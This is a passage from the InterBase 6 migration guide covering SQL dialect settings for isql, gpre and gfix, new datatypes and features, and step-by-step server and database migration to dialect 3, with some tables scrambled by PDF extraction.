You can set the SQL dialect for a server or client in a variety of ways. For example, the
new IBConsole user interface has menu options to specify SQL dialect. See the Operations
Guide for a complete explanation of IBConsole use. This section explores the
command-line methods of setting dialect.

Setting isql client dialect


To use isql to create a database in a particular dialect, first set isql to the desired dialect
and then create the database.You can set isql dialect in the following ways:


On the command line, start isql with option -sql_dialect n, where n is 1, 2, or 3.


isql -sql_dialect n

Within an isql session or in an SQL script, you can issue this statement:
SET SQL DIALECT n

The following table shows the precedence for setting isql dialect:
Ranking

How dialect is set

Lowest

Dialect of an attached Version 6 database

Next lowest

Dialect specified on the command line:


isql -sql_dialect n

Next highest

Dialect specified during the session:


SET SQL DIALECT n;

Highest
TABLE 3.1

Dialect of an attached Version 5 database (=1)

isql dialect precedence

23

CHAPTER 3 MIGRATING TO INTERBASE 6

In InterBase 6, isql has the following behavior with respect to dialects:




If you start isql and attach to a database without specifying a dialect, isql takes on the
dialect of the database.

If you specify a dialect on the command line when you invoke isql, it retains that dialect
after connection unless explicitly changed.

When you change the dialect during a session using SET SQL DIALECT n, isql continues to
operate in that dialect until explicitly changed.

When you create a database using isql, the database is created with the dialect of the isql
client; for example, if isql has been set to dialect 1, when you create a database, it is a
dialect 1 database.

If you create a database without first specifying a dialect for the isql client or attaching to
a database, isql creates the database in dialect 3.
The statements above are true whether you are running isql as a command-line utility or
are accessing it through IBConsole, InterBases new interface.

IMPORTANT

Any InterBase 6 isql client that attaches to a version 5 database resets to dialect 1.

Setting the gpre client dialect


In InterBase 6, by default gpre takes on the dialect of the database to which it is
connected. This enables gpre to parse pre-Version 6 source files without moderation.
You can set gpre to operate as a client in a different dialect these ways:


Start gpre with option -sql_dialect n. For example, this command sets gpre to dialect 3:
gpre -sql_dialect 3

Specify dialect within the source, for example:


EXEC SQL
SET SQL DIALECT n

The precedence of dialect specification is as follows:


Lowest
Middle

Dialect of an attached database


Command line specification:

Highest

Dialect explicitly specified within the source, for example

gpre -sql_dialect n
EXEC SQL
SET SQL DIALECT n

24

INTERBASE 6

NEW FEATURES

Setting the gfix client dialect


The command-line option -sql_dialect n, where n is 1 or 3, sets the dialect of an ODS 10
version database. For example, the following statement sets mydb.gdb to dialect 3:
gfix -sql_dialect 3 mydb.gdb

New features
Many of the new InterBase 6 features operate without reference to dialect. Other features
are dialect-specific. These features are listed below and described in more detail in the
Release Notes and other InterBase manuals.

Features available in all dialects


The following new features are available in both dialects of InterBase 6:


IBConsole, InterBases new graphical interface


IBConsole, InterBases new graphical user interface, combines the functionality of Server
Manager and InterBase Windows ISQL. You now create and maintain databases,
configure and maintain servers, and execute interactive SQL from one integrated
interface.

Read-only databases
You can make InterBase 6 databases be read-only. This permits distribution on read-only
media such as CDROMs and reduces the chance of accidental or malicious changes to
databases.

Altering column definitions


The ALTER COLUMN clause of the ALTER TABLE statement can change a columns name,
datatype, or position.

Altering domain definitions


ALTER DOMAIN now includes the ability to change the name or datatype of a domain

definition.


The EXTRACT() function


The new EXTRACT() function extracts information from the new DATE, TIMESTAMP, and
TIME datatypes. In dialect 1, you can use it to extract information from the TIMESTAMP
datatype. Note DATE is new in the sense that it has a different meaning in dialect 3
databases than it did previously.

25

CHAPTER 3 MIGRATING TO INTERBASE 6

SQL warnings
The InterBase API function set now returns warnings and informational messages along
with error messages in the status vector.

The Services API, Install API, and Licensing API


InterBase now provides three new function libraries. The Services API, which is part of
the InterBase client library, provides functions for database maintenance tasks, software
activation, requesting information about the configuration of databases and server, and
working with user entries in the security database.

New gbak functionality


In InterBase 6, gbak can
Back up to multiple files and restore to multiple files
Use the -service switch to perform server-side backups and restores
Set databases to read-only mode when restoring

InterBase Express (IBX)


IBX provides native Delphi components for InterBase data access, services, and
installation. Borland C++ Builder also can access IBX components.

Features available only in dialect 3 databases


The following features are available only in dialect 3 clients and databases because they
conflict with dialect 1 usage.


Delimited identifiers
Identifiers can now be keywords, contain spaces, be case sensitive, and contain
non-ASCII characters. Such identifiers must be delimited by double quotes. String
constants must be delimited by single quotes.

INT64 data storage


In dialect 3 databases, data stored in DECIMAL and NUMERIC columns is stored as INT64
when the precision is greater than 9. This is true only for columns that are created in
dialect 3. These same datatypes are stored as DOUBLE PRECISION in dialect 1 and in all
older InterBase versions. This change in storage also requires different arithmetic
algorithms.

DATE and TIME datatypes

In dialect 3, the DATE datatype holds only date information. This is a change from earlier
InterBase versions in which it stored the whole timestamp.

26

INTERBASE 6

NEW FEATURES

Dialect 3 allows the use of the TIME datatype, which hold only the time portion of the
timestamp.

New keywords
InterBase 6 introduces the following new keywords:
COLUMN
CURRENT_DATE
CURRENT_TIME
CURRENT_TIMESTAMP
DAY
EXTRACT
HOUR
MINUTE
MONTH

SECOND
TIME
TIMESTAMP
TYPE
WEEKDAY
YEAR
YEARDAY

These keywords are reserved words in all version 6 dialects.




You cannot create objects in a version 6 dialect 1 database that have any of these
keywords as object names (identifiers).

You can migrate a version 5 database that contains these keywords used as identifiers to
version 6 dialect 1 without changing the object names: a column could be named YEAR,
for instance.
Version 5 clients can access these keyword identifiers without error.
Version 6 clients cannot access keywords that are used as identifiers. In a dialect 1
database, you must change the names so that they are not keywords.
If you migrate directly to dialect 3, you can retain the names, but you must delimit them
with double quotes. To retain accessibility for older clients, put the names in all upper
case. Delimited identifiers are case sensitive.

Although TIME is a reserved word in version 6 dialect 1, you cannot use it as a datatype
because such databases guarantee datatype compatibility with version 5 clients.

In dialect 3 databases and clients, any reserved word can be used as an identifier as long
as it is delimited with double quotes.

27

CHAPTER 3 MIGRATING TO INTERBASE 6

Delimited identifiers
To increase compliance with the SQL 92 standard, InterBase 6 introduces delimited
identifiers. An identifier is the name of any database object; for instance a table, a
column, or a trigger. A delimited identifier is an identifier that is enclosed in double
quotes. Because the quotes delimit the boundaries of the name, the possibilities for object
names are greatly expanded from previous versions of InterBase. Object names can now:


mimic keywords

include spaces (except trailing spaces)

be case-sensitive

 Double-quotes use
Up to and including version 5, InterBase allowed the use of either single or double quotes
around string constants. The concept of delimited identifiers did not exist. InterBase 6
operates under these rules for double quotes:

28

In all versions of InterBase, anything delimited by single quotes is treated as a string


constant.

In version 5 and older of InterBase, string constants were delimited by either double or
single quotes. Since there was no concept of delimited identifiers, double quotes were
always interpreted as string constants.

Version 6 dialect 1 is a transition mode that behaves like older versions of InterBase with
respect to quote marks: it interprets strings within double quotes as string constants and
does not permit delimited identifiers.

Version 6 dialect 3 uses double quotes only for delimited identifiers. String constants must
be delimited by single quotes, never double.

When version 6 servers detect that the client is dialect 1, they permit client DML
statements to contain double quotes and they correctly handle these as string constants.
However, they do not permit double quotes in client DDL statements because that
metadata would not be allowed in dialect 3. Version 6 servers all insist that string
constants be delimited with single quotes when clients create new metadata.

INTERBASE 6

NEW FEATURES

DATE, TIME, and TIMESTAMP datatypes


InterBase 6 dialect 3 replaces the old InterBase DATE datatype, which contains both date
and time information, with SQL-92 standard TIMESTAMP, DATE, and TIME datatypes. The
primary migration problem exists in the source code of application programs that use the
InterBase 5 DATE datatype. In InterBase 6, the DATE keyword represents a date-only
datatype, while a Version 5 DATE represents a date-and-time datatype.
Columns and domains that are defined as DATE datatype in InterBase 5 DATE appear as
TIMESTAMP columns when the database is restored in InterBase 6. However, a TIMESTAMP
datatype has four decimal points of precision, while a Version 5 DATE datatype has only
two decimal points of precision.
If you migrate your database to dialect 3 and you require only date or only time
information from a TIMESTAMP column, you can use ALTER COLUMN to change the datatype
to DATE or TIME. These columns each take only four bytes, whereas TIMESTAMP and the
InterBase 5 DATE columns each take eight bytes. If your TIMESTAMP column holds both
date and time information, you cannot change it to an InterBase 6 DATE or TIME column
using ALTER COLUMN, because ALTER COLUMN does not permit data loss. Dialect use also
enforces certain rules:


In dialect 1, only TIMESTAMP is available. TIMESTAMP is the equivalent of the DATE datatype
in previous versions. When you back up an older database and restore it in version 6, all
the DATE columns and domains are automatically restored as TIMESTAMP. DATE and
TIMESTAMP datatypes are both available and both mean the same thing in dialect 1.

In dialect 3, TIMESTAMP functions as in dialect 1, but two additional datatypes are


available: DATE and TIME. These datatypes function as their names suggest: DATE holds
only date information and TIME holds only time.

In dialect 3, DATE and TIME columns require only four bytes of storage, while TIMESTAMP
columns require eight bytes.
The following example shows the differences between dialect 1 and dialect 3 clients when
date information is involved.

Example

CREATE TABLE table1 (fld1 DATE, fld2 TIME);


INSERT INTO table1 VALUES (CURRENT_DATE, CURRENT_TIME);

Using dialect 1 clients


SELECT * FROM table1;
Statement failed, SQLCODE = -804
Dynamic SQL Error
-SQL error code = -804

29

CHAPTER 3 MIGRATING TO INTERBASE 6

-Data type unknown


-Client SQL dialect 1 does not support reference to TIME datatype
SELECT fld1 FROM table1;
Statement failed, SQLCODE = -206
Dynamic SQL Error
-SQL error code = -206
-Column unknown
-FLD1
-Client SQL dialect 1 does not support reference to DATE datatype

Using dialect 3 clients


SELECT * FROM table1;
FLD1
FLD2
=========== =============
1999-06-25 11:32:30.0000
SELECT fld1 FROM table1;
FLD1
===========
1999-06-25

Example

CREATE TABLE table1 (fld1 TIMESTAMP);


INSERT INTO table1 (fld1) VALUES (CURRENT_TIMESTAMP);
SELECT * FROM table1;

In dialect 1:
FLD1
===========
25-JUN-1999

In dialect 3:
FLD1
=========================
1999-06-25 10:24:35.0000

Example

SELECT CAST (fld1 AS CHAR(5)) FROM table1;


In dialect 1:
======

30

INTERBASE 6

NEW FEATURES

25-JU

In dialect 3:
Statement failed, SQLCODE = -802
arithmetic exception, numeric overflow, or string truncation

 Converting TIMESTAMP columns to DATE or TIME


Once you have migrated a database to dialect 3, any columns that previously had the
DATE datatype will have the TIMESTAMP datatype. If you want to store that data in a DATE
or TIME column, follow these steps:
1. Use ALTER TABLE to create a new column of the desired type.
2. Insert the values from the original column into the new column:
UPDATE tablename SET new_field = CAST (old_field AS new_field);

3. Use ALTER TABLE to drop the original column.


4. Use ALTER TABLE ALTER COLUMN to rename the new column.

 Casting date/time datatypes


InterBase 6 dialect 3 no longer allows the use of the CAST operator to remove the data
portion of a timestamp by casting the timestamp value to a character value. When you
cast a TIMESTAMP to a CHAR or VARCHAR in dialect 3, the destination type must be at least
24 characters in length or InterBase will report a string overflow exception. This is
required by the SQL3 standard.
You can use the CAST() function in SELECT statements to translate between date/time
datatypes and various character-based datatypes. The character datatype must be at least
24 characters in length. You can, however, cast a TIMESTAMP to a DATE and then cast the
DATE to a CHAR of less than 24 characters. For example:
SELECT CAST (CAST (timestamp_col AS DATE) AS CHAR(10)) FROM table1;

It is not possible to cast a date/time datatype to or from BLOB, SMALLINT, INTEGER, FLOAT,
DOUBLE PRECISION, NUMERIC, or DECIMAL datatypes.
For more information, refer to Using CAST() to convert dates and times in the Embedded
SQL Guide.
Table 3.2 outlines the results of casting to date/time datatypes:

31

CHAPTER 3 MIGRATING TO INTERBASE 6

To
Cast From

TIMESTAMP

DATE

TIME

VARCHAR(n)

See below.

String must be in format


HH:MM:SS.thousands

CSTRING(n)

String must be in format


YYYY-MM-DD
HH:MM:SS.thousands

TIMESTAMP

Always succeeds

Date portion of timestamp Time portion of


timestamp

DATE

Always succeeds; time


portion of timestamp set
to 0:0:0.0000

Always succeeds

Error

TIME

Always succeeds; date


portion of timestamp set
to current date

Error

Always succeeds

CHARACTER(n)

TABLE 3.2

Results of casting to date/time datatypes


Casting DATE to string results in YYYY-MM-DD where MM is a two-digit month. If the

result does not fit in the string variable a string truncation exception is raised. In earlier
versions, this case results in DD-Mon-YYYY HH:mm:SS.hundreds where Mon was a
3-letter English month abbreviation. Inability to fit in the string variable resulted in a
silent truncation.
Casting a string to a date now permits strings of the form:
'yyyy-mm-dd'
'yyyy:mm:dd'

'yyyy/mm/dd'
'yyyy.mm.dd'

'yyyy mm dd'

In all of the forms above, you can substitute a month name or 3-letter abbreviation in
English for the 2-digit numeric month. However, the order must always be 4-digit year,
then month, then day.
In previous versions of InterBase, you could enter date strings in a number of forms,
including ones that had only two digits for the year. Those forms are still available in
InterBase 6. If you enter a date with only two digits for the year, InterBase uses its "sliding
window" algorithm to assign a century to the years.
The following forms were available in earlier versions of InterBase and are still permitted
in InterBase 6:
'mm-dd-yy'
'mm dd yy'
'dd.mm.yy'

32

'mm-dd-yyyy'
'mm dd yyyy'
'dd.mm.yyyy'

'mm/dd/yy'
'mm:dd:yy'

'mm/dd/yyyy'
'mm:dd:yyyy'

INTERBASE 6

NEW FEATURES

If you write out the month name in English or use a 3-character English abbreviation,
you can enter either the month or the day first. In the following examples, xxx stands
for either a whole month name or a three-letter abbreviation. All of the following forms
are acceptable:
'dd-xxx-yy'
'dd xxx yy'
'dd:xxx:yy'

'dd-xxx-yyyy'
'dd xxx yyyy'
'dd:xxx:yyyy'

'xxx-dd-yy'
'xxx dd yy'
'xxx:dd:yy'

'xxx-dd-yyyy'
'xxx dd yyyy'
'xxx:dd:yyyy'

For example, the following INSERT statements all insert the date January 22, 1943:
INSERT
INSERT
INSERT
INSERT

INTO
INTO
INTO
INTO

t1
t1
t1
t1

VALUES
VALUES
VALUES
VALUES

('1943-01-22');
('01/22/1943');
('22.01.1943');
('jan 22 1943');

The following statement would enter the date January 22, 2043:
INSERT INTO t1 VALUES ('01/22/43');

Table 3.3 outlines the results of casting from date/time datatypes:

TABLE 3.3

Cast From

To VARCHAR(n), CHARACTER (n), or CSTRING(n)

TIMESTAMP

Succeeds if n is 24 or more. Resulting string is in format


YYYY-MM-DD HH:MM:SS.thousands.

DATE

Succeeds if n is 10 or more. Resulting string is in the format YYYY-MM-DD.

TIME

Succeeds if n is 13 or more. Resulting string is the format HH:MM:SS.thousands.

Results of casting to date/time datatypes

33

CHAPTER 3 MIGRATING TO INTERBASE 6

 Adding and subtracting datetime datatypes


The following table shows the result of adding and subtracting DATE, TIME, TIMESTAMP,
and numeric values. Numeric value refers to any value that can be cast as an exact
numeric value by the database engine (for example, INTEGER, DECIMAL, or NUMERIC).

TABLE 3.4

34

Operand1

Operator Operand2

Result

DATE

DATE

Error

DATE

TIME

TIMESTAMP (concatenation)

DATE

TIMESTAMP

Error

DATE

Numeric value DATE + number of days: fractional part ignored

TIME

DATE

TIMESTAMP (concatenation)

TIME

TIME

Error

TIME

TIMESTAMP

Error

TIME

Numeric value TIME + number of seconds: 24-hour modulo arithmetic

TIMESTAMP

DATE

Error

TIMESTAMP

TIME

Error

TIMESTAMP

TIMESTAMP

Error

TIMESTAMP

Numeric value TIMESTAMP: DATE + number of days; TIME + fraction of day


converted to seconds

DATE

DATE

DECIMAL(9,0) representing the number of days

DATE

TIME

Error

DATE

TIMESTAMP

Error

DATE

Numeric value DATE number of days: fractional part ignored

TIME

DATE

Error

TIME

TIME

DECIMAL(9,4) representing number of seconds

TIME

TIMESTAMP

Error

Adding and subtracting date/time datatypes

INTERBASE 6

NEW FEATURES

TABLE 3.4

Operand1

Operator Operand2

Result

TIME

Numeric value TIME number of seconds: 24-hour modulo arithmetic

TIMESTAMP

DATE

Error

TIMESTAMP

TIME

Error

TIMESTAMP

TIMESTAMP

DECIMAL(18,9) representing days and fraction of day

TIMESTAMP

Numeric value TIMESTAMP: DATE number of days; TIME fraction of day


converted to seconds

Adding and subtracting date/time datatypes


Note Numeric value + DATE, TIME, or TIMESTAMP is symmetric to DATE, TIME, or
TIMESTAMP + numeric value.

 Using date/time datatypes with aggregate functions


You can use the date/time datatypes with the MIN(), MAX(), COUNT() functions, the
DISTINCT argument to those functions, and the GROUP BY argument to the SELECT()
function. An attempt to use SUM() or AVG() with date/time datatypes returns an error.

 Default clauses
CURRENT_DATE, CURRENT_TIME, and CURRENT_TIMESTAMP can be specified as the default

clause for a domain or column definition.

 Extracting date and time information


The EXTRACT() function extracts date and time information from databases. In dialect 3,
the EXTRACT operator allows you to return different parts of a TIMESTAMP value. The
EXTRACT operator makes no distinction between dialects when formatting or returning
the information. EXTRACT() has the following syntax:
EXTRACT (part FROM value)

The value passed to the EXTRACT() expression must be DATE, TIME, or TIMESTAMP.
Extracting a part that doesnt exist in a datatype results in an error. For example:
EXTRACT (TIME FROM aTime)

A statement such as EXTRACT (YEAR from aTime) would fail.

35

CHAPTER 3 MIGRATING TO INTERBASE 6

The datatype of EXTRACT() expressions depends on the specific part being extracted:

TABLE 3.5

Extract

Resulting datatype Representing

YEAR

SMALLINT

Year, range 0-5400

MONTH

SMALLINT

Month, range 1-12

DAY

SMALLINT

Day, range 1-31

HOUR

SMALLINT

Hour, range 1-23

MINUTE

SMALLINT

Minute, range 1-59

SECOND

DECIMAL(6,4)

Second, range 0-59.9999

WEEKDAY

SMALLINT

Day of the week, range 0-6


(0 = Sunday, 1 = Monday, and so
on)

YEARDAY

SMALLINT

Day of the year, range 1-366

Extracting date and time information


SELECT EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
=======
1999
SELECT EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
=======
1999
SELECT EXTRACT (MONTH FROM timestamp_fld) FROM table_name;
=======
6
SELECT EXTRACT (DAY FROM timestamp_fld) FROM table_name;
=======
25
SELECT EXTRACT (MINUTE FROM timestamp_fld) FROM table_name;
=======
24
SELECT EXTRACT (SECOND FROM timestamp_fld) FROM table_name;
============
35.0000
SELECT EXTRACT (WEEKDAY FROM timestamp_fld) FROM table_name;

36

INTERBASE 6

NEW FEATURES

=======
5
SELECT EXTRACT (YEARDAY FROM timestamp_fld) FROM table_name;
=======
175
SELECT EXTRACT (MONTH FROM timestamp_fld) ||
'-' || EXTRACT (DAY FROM timestamp_fld) ||
'-' || EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
====================
6-25-1999

DECIMAL and NUMERIC datatypes


The following sections highlight some of the changes introduced by InterBase 6 when
dealing with numeric values. They need to be considered carefully when migrating your
database from dialect 1 to dialect 3. When considering these issues, keep in mind that in
order to make use of the new functionality, the statements must be created with a client
dialect setting of 3.
The most notable migration issues involve using the division operator and the AVG()
function (which also implies division) with exact numeric operands. Exact numeric
refers to any of the following data types: INTEGER, SMALLINT, DECIMAL, NUMERIC. NUMERIC
and DECIMAL datatypes that have a precision greater than 9 are called large exact
numerics in this discussion. Large exact numerics are stored as DOUBLE PRECISION in
dialect 1 and as INT64 in columns created in dialect 3.
IMPORTANT

When you migrate an exact numeric column to dialect 3 it is still stored as DOUBLE
PRECISION. The migration does not change the way the data is stored because INT64
cannot store the whole range that DOUBLE PRECISION can store. There is potential data
loss, so InterBase does not permit direct conversion. If you decide that you want your
data stored as INT64, you must create a new column and copy the data. Only exact
numeric columns that are created in dialect 3 are stored as INT64. The details of the
process are provided in Migrating databases to dialect 3 on page 43.
You might or might not want to change exact numeric columns to INT64 when you
migrate to dialect 3. See Do you really need to migrate your NUMERIC and DECIMAL
datatypes? on page 48 for a discussion of issues.
Dialect 3 features and changes include


Support for 64 bit integers.

37

CHAPTER 3 MIGRATING TO INTERBASE 6

Overflow protection. In dialect 1, if the product of two integers was bigger than 31 bits,
the product was returned modulo 232. In dialect 3, the true result is returned as a 64-bit
integer. Further, if the product, sum, difference, or quotient of two exact numeric values
is bigger than 63 bits, InterBase issues an arithmetic overflow error message and
terminates the operation. (Previous versions sometimes returned the least-significant
portion of the true result.). The stored procedure bignum below demonstrates this.
Operations involving division return an exact numeric if both operands are exact
numerics in dialect 3. When the same operation is performed in dialect 1, the result is a
DOUBLE PRECISION.
To obtain a DOUBLE PRECISION quotient of two exact numeric operands in dialect 3,
explicitly cast one of the operands to DOUBLE PRECISION before performing the division:
CREATE TABLE table 1 (n1 INTEGER, n2 INTEGER);
INSERT INTO table 1 (n1, n2) VALUES (2, 3);
SELECT n1 / n2 FROM table1;
======================
0

Similarly, to obtain a double precision value when averaging an exact numeric column,
you must cast the argument to double precision before the average is calculated:
SELECT AVG(CAST(int_col AS DOUBLE PRECISION))FROM table1;

Compiled objects
The behavior of a compiled object such as a stored procedure, trigger, check constraint,
or default value depends on the dialect setting of the client at the time the object is
compiled. Once compiled and validated by the server the object is stored as part of the
database and its behavior is constant regardless of the dialect of the client that calls it.
Example

Consider the following procedure:


CREATE PROCEDURE exact1 (a INTEGER, b INTEGER) RETURNS (c INTEGER)
AS BEGIN
c = a / b;
EXIT;
END;

When created by a dialect 1 client:


EXECUTE PROCEDURE exact 1 returns 1 when executed by either a dialect 1 or dialect 3

client.

38

INTERBASE 6

NEW FEATURES

When created by a dialect 3 client:


EXECUTE PROCEDURE exact 1 returns 0 when executed by either a dialect 1 or dialect 3

client.
Consider the following procedure:

Example

CREATE PROCEDURE bignum (a INTEGER, b INTEGER) RETURNS (c NUMERIC(18,0)


AS BEGIN
c = a * b;
EXIT;
END;

When created by a dialect 1 client:


EXECUTE PROCEDURE bignum (65535, 65535) returns 131071.0000 when executed by

either a dialect 1 or dialect 3 client.


When created by a dialect 3 client:
EXECUTE PROCEDURE bignum (65535, 65535) returns *ERROR* cant access INT64

when executed by a dialect 1 client.


EXECUTE PROCEDURE bignum (65535, 65535) returns 4294836225 when executed by a

dialect 3 client.

Generators
InterBase 6 generators return a 64-bit value, and only wrap around after 264 invocations
(assuming an increment of 1), rather than after 232 as in InterBase 5. Applications should
use an ISC_INT64 variable to hold the value returned by a generator. A client using dialect
1 receives only the least significant 32 bits of the updated generator value, but the entire
64-bit value is incremented by the engine even when returning a 32-bit value to a client
that uses dialect 1. If your database was using an INTEGER field for holding generator
values, you need to recreate the field so that it can hold 64-bit integer values.

Miscellaneous issues


IN clauses have a limit of 1500 elements

Resolution If you have more than 1500 elements, place the values in a temporary table
and use a SELECT subquery in place of the list elements.


Arithmetic operations on character fields are no longer permitted in client dialect 3


Resolution Explicitly cast the information before performing arithmetic calculations.

39

CHAPTER 3 MIGRATING TO INTERBASE 6

Using isql to select from a TIMESTAMP column displays all information when client dialect
is 3.
Resolution In versions of InterBase prior to 6.0, the time portion of a timestamp
displayed only if SET TIME ON was in effect. In 6.0 client dialect 3, the time portion of the
timestamp always displays.

Migrating servers and databases


You can migrate your servers and applications to InterBase 6 at different times. They are
separate migrations. Bear the following issues in mind as you plan your migration:


Older clients can still access databases that have been migrated to InterBase 6. You must
be aware, however, that they cannot access new datatypes or data stored as INT64, and
they always handle double quoted material as strings.

InterBase strongly recommends that you establish a migration testbed to check your
migration procedures before migrating production servers and databases. The testbed
does not need to be on the same platform as the production clients and servers that you
are migrating.
The migration path varies somewhat depending on whether you are replacing an existing
server or installing a new server and moving old databases there. Upgrading an existing
server costs less in money, but may cost more in time and effort. The server and all the
databases you migrate with it are unavailable during the upgrade. If you have hardware
available for a new InterBase 6 server, the migration can be done in parallel, without
interrupting service more than very briefly. This option also offers an easier return path
if problems arise with the migration.

In-place server migration


This section describes the recommended steps for replacing an InterBase 5 server with
an InterBase 6 server.
1. Shut down each database before backup to ensure that no transactions are
in progress.
2. Back up all databases on the version 5 server. Include isc4.gdb if you want to
preserve your configured user IDs.
As a precaution, you should validate your databases before backing up and then
restore each database to ensure that the backup file is valid.

40

INTERBASE 6

MIGRATING SERVERS AND DATABASES

3. Shut down the version 5 server. If your current server is a Superserver, you
are not required to uninstall the server if you intend to install over it,
although uninstalling is always good practice. You cannot have multiple
versions of InterBase on the same machine. If your current server is Classic,
you must uninstall before installing InterBase 6.
4. Install the version 6 server.
Note The install does not overwrite isc4.gdb or isc4.gbk.

5. Start the new server.


- On Windows NT, go to Services in the Control Panel and start the InterBase
Guardian.
- On Windows 2000, go to Control Panel | Administrative Tools | Services and start the
InterBase Guardian.
- On Windows 98/ME, run the InterBase Guardian application.
- On UNIX/Linux platforms, issue the following command to start the InterBase
Superserver as user interbase:
# echo "/usr/interbase/bin/ibmgr -start -forever" | su interbase

Note that InterBase can run only as user root or user interbase on UNIX.
6. To restore the list of valid users, follow these steps:
a. Restore isc4.gbk to isc4_old.gdb
b. Shut down the server
c. Copy isc4_old.gdb over isc4.gdb
d. Copy isc4_old.gbk over isc4.gbk
e. Restart the server
7. Delete each ODS 9 database file. Restore each database from its backup file.
This process creates InterBase 6, ODS 10, dialect 1 databases.
8. Perform a full validation of each database.
After performing these steps, you have an InterBase 6 server and InterBase 6, dialect 1
databases. See About InterBase 6, dialect 1 databases on page 43 to understand
more about these databases. See Migrating databases to dialect 3 on page 43 for a
description of how to migrate databases to dialect 3. See Migrating clients on page 51
for an introduction to client migration.

41

CHAPTER 3 MIGRATING TO INTERBASE 6

Migrating to a new server


This section describes the recommended steps for installing InterBase 6 as a new server
and then migrating databases from a previous InterBase 5 installation. The process differs
only slightly from an in-line install.
1. Back up all databases on the version 5 server. Include isc4.gdb if you want to
preserve your configured user IDs. Shut down the databases before backup
to ensure that no transactions are in progress.
2. Install the version 6 server.
3. Start the new version 6 server.
- On Windows NT/2000, go to Services in the Control Panel and start the InterBase
Guardian.
- On Windows 98, run the InterBase Guardian application.
- On UNIX/Linux platforms, issue the following command to start the InterBase
Superserver as user interbase:
# echo "/usr/interbase/bin/ibmgr -start -forever" | su interbase

Note that InterBase can run only as user root or user interbase on UNIX.
4. Copy the database backup files to the new server and restore each database
from its backup file. This process creates InterBase 6, ODS 10, dialect 1
databases.
Save your backup files until your migration to dialect 3 is complete.
5. To restore the list of valid users, follow these steps:
a. Restore isc4.gbk to isc4_old.gdb
b. Shut down the server
c. Copy isc4_old.gdb over isc4.gdb
d. Copy isc4_old.gbk over isc4.gbk
e. Restart the server
6. Perform a full validation of each database on the new server.
After performing these steps, you have an InterBase 6 server and InterBase 6, dialect 1
databases. See About InterBase 6, dialect 1 databases on page 43 to understand
more about these databases. See Migrating databases to dialect 3 on page 43 for a
description of how to migrate databases to dialect 3. See Migrating clients on page 51
for an introduction to client migration.

42

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

About InterBase 6, dialect 1 databases


When you back up a version 5 database and restore it in InterBase 6, what do you have?


A version 5 client can access everything in the database with no further changes.

If there are object namescolumn or table names, for instancethat include any of the
17 new keywords, you must change these names in order to access these objects with a
version 6 dialect 1 client. The new ALTER COLUMN clause of ALTER TABLE makes it easy to
implement column name changes.
Version 5 clients can still access the columns.
Dialect 3 clients can access these columns as long as they delimit them with double
quotes.

The 17 new keywords are reserved words. However, the new datatypes TIME and DATE are
not available to use as datatypes. DATE columns have the old meaningboth date and
time. The new meaning of DATEdate onlyis available only in dialect 3.

All columns that were previously DATE datatype are now TIMESTAMP datatype. TIMESTAMP
contains exactly the information that DATE did in previous versions.

Exact numeric columnsthose that have a DECIMAL or NUMERIC datatype with precision
greater than 9are still stored as DOUBLE PRECISION datatypes. All arithmetic algorithms
that worked before on these columns still work as before. It is not possible to store data
as INT64 in dialect 1.

Migrating databases to dialect 3


There are four major areas of concern when migrating a database from dialect 1 to dialect
3: double quotes, the DATE datatype, large exact numerics (for purposes of this discussion,
NUMERIC and DECIMAL datatypes that have a precision greater than 9), and keywords.
The process varies somewhat depending on whether you can create an application to
move data from your original database to an empty dialect 3 database. If you do not have
access to such a utility, you need to perform an in-place migration of the original
database.

Overview
In either method, you begin by extracting the metadata from your database, examining
it for problem areas, and fixing the problems.

43

CHAPTER 3 MIGRATING TO INTERBASE 6

If you are performing an in-place migration, you copy corrected SQL statements from the
metadata file into a new script file, modify them, and run the script against the original
database. Then you set the database to dialect 3. There are some final steps to take in the
dialect 3 database to store old data as INT64.

If you have a utility for moving data from the old database to a newly created empty
database, you use the modified metadata file to create a new dialect 3 database and use
the utility to transfer data from the old database to the new.
In both cases, you must make changes to the new database to accommodate migrated
columns that must be stored as INT64 and column constraints and defaults that originally
contained double quotes.
The two methods are described below.

Method one: in-place migration


1. If you have not migrated the database to version 6, dialect 1, do so first. Back
up the database again.
2. Extract the metadata from the database using isql -x. If you are migrating
legacy databases that contain GDML, see Migrating older databases on
page 50.
3. Prepare an empty text file to use as a script file. As you fix data structures in
the metadata files, you will copy them to this file to create a new script.
Note You could also proceed by removing unchanged SQL statements from the

original metadata file, but this is more likely to result in problems from statements
that were left in error. InterBase recommends creating a new script file that contains
only the statements that need to be run against the original database.
For the remaining steps, use a text editor to examine and modify the metadata and script
files. Place copied statements into the new script file in the same order they occur in the
metadata file to avoid dependency errors.
4. Search for each instance of double quotes in the extracted metadata file.
These can occur in triggers, stored procedures, views, domains, table column
defaults, and constraints. Change each double quote that delimits a string to
a single quote. Make a note of any tables that have column-level constraints
or column defaults in double quotes.
Copy each changed statement to your empty script file, but do not copy ALTER TABLE
statements whose only double quotes are in column-level constraints or column
defaults.

44

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

Important When copying trigger or stored procedure code, be sure to include any
associated SET TERM statements.
Quoted quotes If there is any chance that you have single or double quotes inside of
strings, you must search and replace on a case-by-case basis to avoid inappropriate
changes. The handling of quotation marks within strings is as follows:

TABLE 3.6

String:

In "peg" mode

Double-quoted:

"In ""peg"" mode"

Single-quoted:

'In "peg" mode'

String:

O'Reilly

Double-quoted:

"O'Reilly"

Single-quoted:

'O''Reilly'

Handling quotation marks inside of strings

5. In the new script file, search for occurrences of the TIMESTAMP datatype. In
most cases, these were DATE datatypes in your pre-6 database. For each one,
decide whether you want it to be TIME, TIMESTAMP, or DATE in your dialect 3
database. Change it as needed.
6. Repeat step 5 in the metadata file. Copy each changed statement to your new
script file.
7. In the new script file, search for occurrences of reserved words that are used
as object names and enclose them in double quotes; that makes them
delimited identifiers.
8. Repeat step 7 in the metadata file. Copy each changed statement to your new
script file.
9. In each of the two files, search for each instance of a DECIMAL or NUMERIC
datatype with a precision greater than 9. Consider whether or not you want
data stored in that column or with that domain to be stored as DOUBLE
PRECISION or INT64. See Do you really need to migrate your NUMERIC and
DECIMAL datatypes? on page 48 for a discussion of issues. For occurrences
that should be stored as DOUBLE PRECISION, change the datatype to that.
Leave occurrences that you want stored as INT64 alone for now. Copy each
changed statement that occurs in the metadata file to your new script file.
Perform the following steps in your new script file:

45

CHAPTER 3 MIGRATING TO INTERBASE 6

